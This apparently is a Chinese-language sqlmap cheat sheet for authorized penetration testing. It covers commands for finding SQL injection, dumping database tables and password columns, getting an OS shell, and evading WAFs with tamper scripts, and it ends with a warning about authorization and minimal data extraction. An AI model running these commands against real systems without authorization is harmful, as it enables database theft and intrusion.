本章目录(7)On this page (7)
  1. 起手式
  2. 拿数据
  3. 控制强度
  4. 绕 WAF
  5. 常见报错
  6. 一条纪律
  7. 参考
文章Articles

sqlmap

命令速查,按「从确认到取证」的顺序排,不是按字母排。

更新Updated 2026.10.25securitytoolssqli

起手式

# 最稳的方式:从 Burp 导出的请求文件读
sqlmap -r req.txt --batch

# 指定注入点(多个参数时)
sqlmap -r req.txt -p id --batch

# 直接给 URL,用 * 标注入点
sqlmap -u "https://target/news?id=1*" --batch

# POST 请求
sqlmap -u "https://target/login" --data="user=a&pass=b" --batch

# 需要登录
sqlmap -u "https://target/api?uid=1" --cookie="SESSION=xxx" --batch

--batch 让所有交互选默认值,不加会一直卡在询问上。

拿数据

按顺序,够用就停:

--current-db              # 当前库
--current-user            # 当前用户
--is-dba                  # 是不是 DBA
--dbs                     # 所有库
-D db --tables            # 指定库的表
-D db -T users --columns  # 字段
-D db -T users -C user,pass --dump   # 取数据
-D db -T users --dump --start 1 --stop 10   # 只取前 10 条

--is-dba 为真的时候,--os-shell 才有意义。这个判断很多人跳过,白跑一堆参数。

控制强度

--level=1~5      # 1 默认,3 测 UA/Referer,5 测所有 header
--risk=1~3       # 1 默认,3 含 OR 型注入(可能改数据)
--threads=5      # 并发
--technique=U    # 只测联合注入,最快
--technique=BEUST  # 指定技术组合

生产环境别开 --risk=3。OR 型注入的探测语句可能真的改到表里的数据。

绕 WAF

--tamper=space2comment      # /**/ 替换空格
--tamper=between            # 用 between 替换 >
--tamper=charencode         # URL 编码
--tamper=randomcase         # 随机大小写
--tamper=base64encode       # base64 编码参数
--random-agent              # 随机 UA
--delay=1                   # 每次请求间隔
--proxy=http://127.0.0.1:8080   # 走代理

多个 tamper 可以串联:--tamper=space2comment,randomcase。串联顺序会影响效果,试不出来就换顺序。

WAF 拦截的时候,加 -v3 看 sqlmap 实际发了什么请求,对比正常请求的差异,比盲试 tamper 快。

常见报错

[CRITICAL] connection dropped:连接被断。加 --keep-alive,或者 --delay。

all tested parameters do not appear to be injectable:可能真没有,也可能被 WAF 拦了。先加 --level=3 --risk=2 再试一次,还不行就手工确认。

HTTPS 站点超时:加 --force-ssl。

跑一半卡住:--flush-session 清缓存重来。缓存里存了上次的判断,环境变了会误判。

一条纪律

--dump 之前停一下。

证明「能读到数据」和「把数据拖下来」是两件事。前者是测试结论,后者是数据泄露——哪怕数据在你手上只停留了五分钟。

授权测试里,看表结构、取一条脱敏样本,足够写报告。真要取全量,先确认授权书里写了,且客户的数据处理条款允许。

参考

  • 《sqlmap 最新版命令翻译(劝退指南)》,公众号存档
  • 《sqlmap(附手工注入绕 WAF)实战 SRC 使用方法》,公众号 信安一把索